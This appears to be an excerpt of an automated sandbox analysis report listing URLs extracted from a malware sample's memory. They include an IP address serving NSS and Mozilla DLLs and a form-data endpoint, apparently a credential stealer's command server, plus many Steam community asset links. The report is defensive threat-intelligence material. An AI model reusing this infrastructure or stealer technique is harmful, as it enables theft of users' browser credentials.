Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/L
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/Z
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/freebl3.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/freebl3.dllu
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/mozglue.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/msvcp140.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/msvcp140.dlld
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.3103241873.0000000019029000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.3103162642.0000000019020000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/nss3.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.3103241873.0000000019029000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.3103162642.0000000019020000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/nss3.dllll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/softokn3.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/softokn3.dllj
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/sqls.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.3070989152.0000000019020000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/vcruntime140.dll
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000607000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://5.75.212.60art/form-data;
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=eZOyL2UG5OX8&a
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=e0OV
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
